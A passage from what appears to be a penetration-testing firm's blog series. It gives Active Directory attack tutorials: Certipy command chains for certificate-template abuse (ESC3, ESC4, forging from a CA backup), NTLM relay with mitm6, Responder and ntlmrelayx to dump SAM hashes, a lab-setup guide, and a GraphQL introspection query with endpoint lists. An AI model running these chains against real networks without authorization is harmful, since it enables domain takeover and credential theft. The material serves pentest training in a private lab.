    Note: If you are testing in your own environment, once you create the template you will need to configure the CA to actually serve it.

    After creating and configuring the new certificate template, we use Certipy to enumerate vulnerable templates using the same command we used to start the previous attack. Certipy identified that the new template was vulnerable to ESC3 issue.

    certipy find -dc-ip {DC IP Address} -u {Username} -p {Password} -vulnerable
    Vulnerable template

    Exploiting this issue can allow an attacker to escalate privileges from those of a normal domain user to a domain administrator. The first step to gaining domain administrator privileges is to request a new certificate based on the vulnerable template. We will need access to the domain as a standard user.

    certipy req -dc-ip {DC IP Address} -u {Username} -p {Password} -target-ip {CA IP Address} -ca {CA Server Name} -template {Vulnerable Template Name}
    Getting new certificate

    After acquiring the new certificate, we can use Certipy to request another certificate, this time a User certificate, for the administrator account.

    certipy req -u {Username} -p {Password} -ca {CA Server Name} -target {CA IP Address} -template User -on-behalf-of {Domain\Username} -pfx {Saved Certificate}
    Getting Administrator Certificate

    With the certificate for the administrator user, we use certipy to authenticate with the domain, giving us access to the administrator’s password hash.

    certipy auth -pfx {Saved Administrator Certificate} -dc-ip {DC IP Address}
    Authenticating with Administrator Certificate

    At this point we have access to the domain as the domain’s Administrator account. Using the tools we’ve previously learned about like CME, we can take complete control of the domain.

    crackmapexec smb {Target IP Address} -u {Username} -H {Password Hash}
    Spraying hashes using CME

    From this point, we can use the Secretsdump utility to gather user password hashes from the domain, as previously illustrated.

    Exploit 3: ESC4

    Another vulnerable misconfiguration that can occur is if users have too much control over the certificate templates. First we configure a certificate on my test network that gives users complete control over the templates.

    Users have full control of template

    Now we use Certipy to show the vulnerable templates using the same command as we used in the prior exploits.

    certipy find -dc-ip {DC IP Address} -u {Username} -p {Password} -vulnerable
    Vulnerable template

    We can use Certipy to modify the certificate to make it vulnerable to ESC1, which allows a user to supply an arbitrary Subject Alternative Name.

    The first step is to modify the vulnerable template to make it vulnerable to another misconfiguration.

    certipy template -u {Username} -p {Password} -template {Vulnerable Template Name} -save-old target-ip {CA Server IP Address}
    Changing the template

    Note that we can use the save-old flag to save the old configuration. This allows us to restore the template after the exploit.

    After modifying the template, we can request a new certificate specifying that it is for the administrator account. When specifying the new account use the account@domain format.

    certipy req -u {Username} -p {Password} -ca {CA Server Name} -target {CA Server IP Address} -template {Template Name} -upn {Target Username@Domain} -dc-ip {DC IP Address}
    Requesting new certificate

    Before we get too far, it’s a good idea to restore the certificate template.

    certipy template -u {Username} -p {Password} -template {Template Name} -configuration {Saved Template Setting File} -dc-ip {DC IP Address}
    Restoring the Template

    After that we can authenticate with the certificate, again gaining access to the administrator’s hash.

    certipy auth -pfx {Saved Certificate} -dc-ip {DC IP Address}
    Authenticating with certificate
    Exploit 4: Admin Control over CA Server

    Another route to domain privilege escalation is if we have administrator access over the CA server. In the example lab I am just using a domain administrator account, but in a real engagement this access can be gained any number of ways.

    If we have administrator access over the CA server, we can use the certificate to back everything up including the private keys and certificates.

    certipy ca -backup -ca {CA Server Name} -u {Username} -p {Password} -dc-ip {DC IP Address}
    Backing up the CA server

    After backing up the CA server up we can use Certipy to forge a new certificate for the administrator account. In a real engagement the domain information would have to be changed.

    certipy forge -ca-pfx {Name of Backup Certificate} -upn {Username@Domain} -subject 'CN=Administrator,CN=Users,DC={Domain Name},DC={Domain Top Level}'
     Forging new certificate

    After forging the certificate, we can use it to authenticate, again giving us access to the user’s NTLM password hash.

    certipy auth -pfx {Saved Certificate} -dc-ip {DC IP Address}
    Authenticating with forged certificate
    Helpful References

    Want to learn more? Take a look at the next part in our Active Directory Series.

  • AD Series: How to Perform Broadcast Attacks Using NTLMRelayx, MiTM6 and Responder

    Now that we setup an AD test environment in my last post, we’re ready to try out broadcast attacks on our vulnerable test network.

    In this post we will learn how to use tools freely available for use on Kali Linux to:

    • Discover password hashes on the network
    • Pivot to other machines on the network using discovered credentials and hashes
    • Relay connections to other machines to gain access
    • View internal file shares

    For the attacker machine in my lab, I am using Kali Linux. This can be deployed as a virtual machine on the Proxmox server that we setup in my previous post or can be a separate machine as long as the Active Directory network is reachable.

    Most tools we will use are preinstalled on Kali:

    • MiTM6: Download from GitHub
    • Responder: Installed on Kali
    • CrackMapExec: Installed on Kali
    • Ntmlrelayx: Installed on Kali (run using impacket-ntlmrelayx)
    • Proxychains: Installed on Kali
    Setting up the Attack

    Within Kali, first we’ll start MiTM6:

    sudo mitm6 -i {Network Interface}
    sudo mitm6 -i eth1
    
    Starting MiTM6

    MiTM6 will pretend to be a DNS server for a IPv6 network. By default Windows prefers IPv6 over IPv4 networks. Most places don’t utilize the IPv6 network space but don’t have it disabled in their Windows domains. Therefore, by advertising as a IPv6 router and setting the default DNS server to be the attacker, MiTM6 can spoof DNS entries allowing for man in the middle attacks. A note from their GitHub even mentions that it is designed to run with tools like ntlmrelayx and responder.

    Next we start Responder:

    sudo responder -I {Network Interface}
    sudo responder -I eth1
    Starting responder

    Responder will listen for broadcast name resolution requests and will respond to them on its own. It also has multiple servers that will listen for network connections and attempt to get user computers to authenticate with them, providing the attacker with their password hash. There is more to the tool than what is covered in this tutorial, so check it out!

    With MiTM6 and Responder running, next we start CrackMapExec (CME):

    crackmapexec smb {Network} –gen-relay-list {OutFile}
    Starting CrackMapExec

    CME is a useful tool for testing windows computers on the domain. There are many functions within CME that we won’t be discussing in this post, so I definitely recommend taking a deeper look! In this post we are using CME to enumerate SMB servers and whether SMB message signing is required and also to connect to and perform post exploitation activities.

    First we will use CME to find all of the SMB servers on the AD network (10.80.0.0/24) and additionally to find those servers which do not require message signing. It saves those which don’t to the file name relay.lst.

    Now we’re ready to start ntlmrelayx to relay credentials:

    impacket-ntlmrelayx -tf {File Containing Target SMB servers} -smb2support
    impacket-ntlmrelayx -tf relay.lst -smb2support
    Starting ntlmrelayx

    Ntlmrelayx is a tool that listens for incoming connections (mostly SMB and HTTP) and will, when one is received, relay (think forwarding) the connection/authentication to another SMB server. These other SMB servers are those that were found earlier by CME with the –gen-relay-list flag, so we know they don’t require message signing. Note that the smb2support flag just tells ntlmrelayx to setup a SMBv2 server.

    Almost immediately we start getting traffic over HTTP:

    Ntlmrelayx sees traffic
    Running the Attack

    So far the responder, mitm6 and ntlmrelayx screens just show the initial starting of the program. Not much is actually happening in any of them. The CME screen is just showing the usage to gather SMB servers that don’t require message signing.

    To help things along with our demo, we can force one of the computers on the network to attempt to access a share that doesn’t exist.

    Forcing a computer to attempt to access a share that doesn't exist

    While a user looking for a share that doesn’t exist is not needed for this attack, it’s a quick way to skip waiting for an action to occur automatically. Many times on corporate networks, machines will mount shares automatically or users will need a share at some point allowing an attacker to poison the request them. If responder is the first to answer, our attack works, but, if not, the attack doesn’t work in that instance.

    Responder captures and poisons the response so that the computer connects to ntlmrelayx, which is still running in the background.

    Below we see where responder hears the search for “newshare” and responds with a fake/poisoned response saying that the attacker’s machine is in fact the host for “newshare.” This causes the victim machine to connect to ntlmrelayx which then relays the connection to another computer that doesn’t require message signing. We don’t need to see or crack a user password hash since we are just acting as a man in the middle (hence MiTM) and relaying the authentication from an actual user to another machine.

    Responder hears the request and answers with a poisoned response

    In this case the user on the Windows machine who searched for “newshare” turns out to be an administrator over some other machines, particularly the machine that ntlmrelayx relayed their credentials to. This means that ntlmrelayx now has administrator access to that machine.

    The default action when ntlmrelayx has admin rights is to dump the SAM database. The SAM database holds the username and password hashes (NTLM) for local accounts to that computer. Due to how Windows authentication works, having the NTLM hash grants access as if we had the password. This means we can login to this computer at any time as the local administrator WITHOUT cracking the hash. While NTLM hashes are easy to crack, this speeds up our attack.

    If other computers on the network share the same local accounts, we can then login to those computers as the admin as well. We could also use CME to spray the local admin password hash to check for credential reuse. Keep in mind that the rights and access we get to a server all depends on the rights of the user we are pretending to be. In pentests, we often do not start with an admin user and need to find ways to pivot from our initial user to other users with more access until we gain admin access.

    The following screenshot shows ntlmrelayx dumping all of the local SAM password hashes on one device on our test network:

    Ntlmrelayx dumping the local SAM password hashes from the compromised device

    While getting the local account password hashes and and gaining access to new machines is a great attack, ntlmrelayx has more flags and modes that allow for other attacks and access. Let’s continue to explore these.

    Playing around with –interactive

    Ntlmrelayx has a mode that will create new TCP sockets that will allow for an attacker to interact with the created SMB connections after a successful relay. The flag is –interactive.

    Ntlmrelayx using the --interactive flag

    When the relay is successful a new TCP port is opened. We can connect to it with Netcat:

    Connecting to the new TCP port using netcat

    We can now interact with the host and the shares that are accessible to the user who is relayed.

    nc 127.0.0.1 11000
    nc 127.0.0.1 11001
    Commands that allow us to interact with the host now that we have access through netcat
    Playing around with -SOCKS

    With a successful relay ntlmrelayx can create a proxy that we can use with other tools to authenticate to other servers on the network. To use this proxy option ntlmrelayx has the -socks flag.

    Here we use ntlmrelayx with the -socks flag to use the proxy option:

    Starting ntlmrelayx with the -socks flag

    Below we see another user has an SMB connection relayed to an SMB server. With the proxy option ntlmrelayx sets up a proxy listener locally. When a new session is created (i.e. a user’s request is relayed successfully) it is added to the running sessions. Then, by directing other tools to the proxy server from ntlmrelayx, we can use these tools interact with these sessions.

    Using the SOCKS connection to proxy to another SMB server

    In order to use this feature we need to set up our proxychains instance to use the proxy server setup by ntlmrelayx.

    The following screen shows the proxychains configuration file at /etc/proxychains4.conf. Here we can see that, when we use the proxychains program, it is going to look for a socks4 proxy at localhost on port 1080. Proxychains is another powerful tool that can do much more than this. I recommend taking a deeper look.

    The proxychains configuration file at /etc/proxychains4.conf

    Once we have proxychains set up, we can use any program that logs in over SMB. All we need is a user that has an active session. We can view active sessions that we can use to relay by issuing the socks command on ntlmrelayx:

    Socks relay targets

    In this example I have backup.admin session for each of the other 2 computers. Let’s use secretsdump from impacket’s library to gather hashes from the computer.

    Using impacket's secretsdump to gather hashes from the computer

    When the program asks for a password we can supply any text at all, as ntlmrelayx will handle the authentication for us and dump the hashes.

    Dumping the local hashes using secretsdump

    Since I am using a private test lab, the password for backup.admin is “Password2.” Here is an example of logging in with smbclient using the correct password:

    Viewing SMB shares as the user would with the smbclient command and their password

    Using proxychains to proxy the request through ntlmrelayx, we can submit the wrong password and still login successfully to see the same information:

    Viewing proxychains without the password to obtain the same view as above
    Next Steps

    All of the tools we discussed are very powerful, and this is just a sampling of what they can be used for. At Raxis we use these tools on most internal network tests. If you’re interested in a pentesting career, I highly recommend that you take a deeper look at them after performing the examples in this tutorial.

    I hope you’ll join me next time when I discuss Active Directory Certificate Services and how to exploit them in our test AD environment.

    Want to learn more? Take a look at the next part in our Active Directory Series.

  • How to Create an AD Test Environment

    Lead Pentester Andrew Trexler walks us through creating a simple AD environment.

    Whether you use the environment to test new hacks before trying them on a pentest, or you use it while learning to pentest and study for the OSCP exam, it is a useful tool to have in your arsenal.

    The Basics

    Today we’ll go through the steps to set up a Windows Active Directory test environment using Proxmox to virtualize the computers. In the end, we’ll have a total of three connected systems, one Domain Controller and two other computers joined to the domain.

    Setting up the Domain Controller (DC)

    The first step is to setup a new virtualized network that will contain the Windows Active Directory environment. Select your virtualization server on the left:

    Select virtual server

    This is a Windows based environment, but we’re using a Linux hypervisor to handle the underlying network architecture, so under System, select Network, and then create a Linux Bridge, as shown in Figures 2 and 3:

    Create a Linux Bridge
    Creating a new network

    After setting up the network, we provision a new virtual machine where we will install Windows 2019 Server. Figure 4 shows the final configuration of the provisioned machine:

    Provisioning Windows Server

    The next step is to install Windows 2019 Server. While installing the operating system make sure to install the Desktop Experience version of the operating system. This will make sure a GUI is installed, making it easier to configure the system.

    Fresh Install of Windows 2019

    Now that we have a fresh install, the next step is to configure the domain controller with a static IP address. This will allow the server to function as the DHCP server. Also make sure to set the same IP as the DNS server since the system will be configured later as the domain’s DNS server.

    Configure Static IP Address

    In order to make things easier to follow and understand later, let’s rename the computer to DC1 since it will be acting as our domain controller on the Active Directory domain.

    Renaming to DC1

    Next, configure the system as a domain controller by using the Add Roles and Features Wizard to add the Active Directory Domain Services and DNS Server roles. This configuration will allow the server to fulfill the roles of a domain controller and DNS server.

    Adding Required Features

    After the roles are installed, we can configure the server and provision the new Active Directory environment. In this lab we will use the domain ad.lab. Other than creating a new forest and setting the name, the default options will be fine.

    Setting up the Domain
    Setting Up the DHCP Service

    The next step is to configure the DHCP service. Here we are using a portion of the 10.80.0.0/24 network space, leaving enough addresses available to accommodate static IP addressing where necessary.

    Setting up DHCP Service

    There is no need for any exclusions on the network, and we will set the lease to be valid for an entire year.

    Adding a Domain Administrator and Users

    Additional configuration is now required within the domain. Let’s add a new domain administrator and some new domain users. Their names and passwords can be anything you want, just make sure to remember them.

    Choosing Option to Add new User

    First we create the Domain Administrator (DA):

    Adding New Administrator Account
    Adding User to Domain Admins

    Here we also make this user an Enterprise Admin (EA) by adding them to the Enterprise Admins group:

    Add User to Enterprise Admins

    Next we will add a normal user to the domain:

    Adding a normal user
    Creating Windows PC

    At this point we should have a functional Active Directory domain with active DHCP and DNS services. Next, we will setup and configure two other Windows 10 machines and join them to the domain.

    The first step is to provision the resources on the Proxmox server. Since our test environment requires only moderate resources, we will only provision the machines with two processor cores and two gigabytes of RAM.

    Provisioned Resources for Windows 10

    Then we install Windows 10 using the default settings. Once Windows is installed, we can open the Settings page and join the system to the ad.lab domain, changing the computer name to something easy to remember if called for.

    Joining the ad.lab domain

    Adding the system to the domain will require us to enter a domain admin’s password. After a reboot we should be able to login with a domain user’s account.

    Seeing the Raxis user from the Ad.lab domain
    SMB Share

    At this point, there should be three computers joined to the Active Directory domain. Using CrackMapExec, we can see the SMB server running on the domain controller but no other systems are visible via SMB. So let’s add a new network share. Open Explorer.exe, select Advance Sharing, and share the C drive.

    I don’t recommend sharing the entire drive in an environment not used for testing, as it’s not secure: the entire contents of the machine would be visible. Since this is a pentest lab environment, though, this is exactly what we are looking for.

    Creating new share

    Creating the share resulted in the system exposing the SMB service to the network. In Figure 20 we verified this by using CrackMapExec to enumerate the two SMB servers:

    CrackMapExec Showing Two SMB servers
    Conclusion

    At this point, our environment should be provisioned, and we are ready to test out different AD test cases, attacks, and other shenanigans. This environment is a great tool for ethically learning different exploits and refining pentesting techniques. Using a virtual infrastructure such as this also provides rollback capability for running multiple test cases with minimal downtime.

    I hope you’ll come back to see my next posts in this series, which will show how to use this environment to test common exploits that we find during penetration testing.

    Want to learn more? Take a look at the next part in our Active Directory Series.

  • Exploiting GraphQL

    GraphQL is a query language inspired by the structure and functionality of online data storage and collaboration platforms Meta, Instagram, and Google Sheets. This post will show you how to take advantage of one of its soft spots.

    Development

    Facebook developed GraphQL in 2012 and then it became open source in 2015. It’s designed to let application query data and functionality be stored in a database or API without having to know the internal structure or functionality. It makes use of the structural information exchanged between the source and the engine to perform query optimization, such as removing redundancy and including only the information that is relevant to the current operation.

    To use GraphQL, since it is a query language (meaning you have to know how to code with it), many opt to use a platform to do the hard work. Companies like the New York Times, PayPal, and even Netflix have dipped into the GraphQL playing field by using Apollo.

    Apollo

    Apollo Server is an open-source, spec-compliant tool that’s compatible with any GraphQL client. It builds a production-ready, self-documenting GraphQL API that can use data from any source.

    Apollo GraphQL has three primary tools and is well documented.

    • Client: A client-side library that helps you digest a GraphQL API along with caching the data that’s received.
    • Server: A library that connects your GraphQL Schema to a server. Its job is to communicate with the backend to send back responses based off the request of the client.
    • Engine: Tracks errors, gathers stats, and performs other monitoring tasks between the Apollo client and the Apollo server.

    (We now understand that GraphQL is query language and Apollo is spec-compliant GraphQL server.)

    A pentester’s perspective

    What could be better than fresh, new, and developing technology? Apollo seems to be the king of the hill, but the issue here is the development of Apollo’s environment is dynamic and fast. Its popularity is growing along with GraphQL, and there seems to be no real competition on the horizon, so it’s not surprising to see more and more implementations. The most difficult part for developers is having proper access controls for each request and implementing a resolver that can integrate with the access controls. Another key point is the constant new build releases with new bugs.

    Introspection

    Batch attacks, SQLi, and debugging operations that disclose information are known vulnerabilities when implementing GraphQL. This post will focus on Introspection.

    Introspection enables you to query a GraphQL server for information about the schema it uses. We are talking fields, queries, types, and so on. Introspection  is mainly for discovery and as a diagnostic tool during the development phase. In a production system you usually don’t want just anyone knowing how to run queries against sensitive data. When they do, they can take advantage of this power. For example, the following field contains interesting information that can be queried by anyone on a GraphQL API in a production system with introspection enabled:

    Information that can be gathered when querying a GraphQL API
    Let’s try it

    One can obtain this level of information in a few ways. One way is to use Burp Suite and the GraphQL Raider plugin. This plugin allows you to isolate the query statement and experiment on the queries. For example, intercepting a post request for “/graphql”, you may see a query in the body, as shown below:

    Burp intercept of webpage communication showing the query that is being sent to the server, which indicates that GraphQL is in use

    Using Burp Repeater with GraphQL we can change the query located in the body and execute an Introspection query for ‘name’ and see the response.

    Knowing GraphQL is in use, we use Burp Extension GraphQL Raider to focus just on queries. Here we are requesting field names in this standard GraphQL request, but this can be changed to a number of combinations for more results once a baseline is confirmed.

    Knowing GraphQL is in use, we use Burp Extension GraphQL Raider to focus just on queries. Here we are requesting field names in this standard GraphQL request, but this can be changed to a number of combinations for more results once a baseline is confirmed.

    This request is checking the ‘schema’ for all ‘types’ by ‘name’ . This is the response to that query on the right.

    This request is checking the ‘schema’ for all ‘types’ by ‘name’ . This is the response to that query on the right.

    Looking further into the response received, we see a response “name”: “allUsers”. Essentially what is happening is we are asking the server to please provide information that has “name” in it. The response gave a large result, and we spot “allUsers”. If we queried that specific field, it would likely provide all the users.

    Looking further into the response received, we see a response “name”: “allUsers”. Essentially what is happening is we are asking the server to please provide information that has “name” in it. The response gave a large result, and we spot “allUsers”. If we queried that specific field, it would likely provide all the users.

    The alternative would be to use CURL. You can perform the same actions simply by placing the information in a curl statement. So the same request as above translated over for Curl would be similar to:

    Curl statement requesting a POST with an application header for a specific URL with data request using the GraphQl query. Specifically, this query is communicating with the schema types and getting field names.

    You could opt to do this in the browser address bar as well, but that can be temperamental at times. So you can see how easy it is to start unraveling the treasure trove of information all without any authentication.

    Even more concerning are the descriptive errors the system provides that can help a malicious attacker succeed. Here we use different curl statement to the server. This is the same request except that the query is for “system.”

    This is the same request except that the query is for “system.”

    When the request cannot be fulfilled, the server tries its best to recommend a legitimate field request. This allows the malicious attacker to formulate and build statements one error at a time if needed:

    This is a verbose response received from GraphQL that actually recommends an appropriate query if yours isn’t correct.

    Pentest ToolBox

    Ethical hackers would be wise to add this full request to their toolbox as it should provide a full request that provides a long list of objects, fields, mutations, descriptions, and more:

    {__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}

    Ethical hackers, may want to add these to their directory brute force attacks as well:

    • /graphql
    • /graphiql
    • /graphql.php
    • /graphql/console
    Conclusion

    Having GraphQL introspection in production might expose sensitive information and expand the attack surface. Best practice recommends disabling introspection in production unless there is a specific use case. Even in this case, consider allowing introspection only for authorized requests, and use a defensive in-depth approach.

    You can turn off introspection in production by setting the value of the introspection config key on your Apollo Server instance.

    This is the proper configuration in a production system to turn off Introspection on a new Apollo server.

    Although this post only addresses Introspection, GraphQL/Apollo is still known to be vulnerable to the attacks I mentioned at the beginning – batch attacks, SQLi, and debugging operations that disclose information – and we will address those in subsequent posts. However, the easiest and most common attack vector is Introspection. Fortunately, it comes with an equally simple remedy: Turn it off.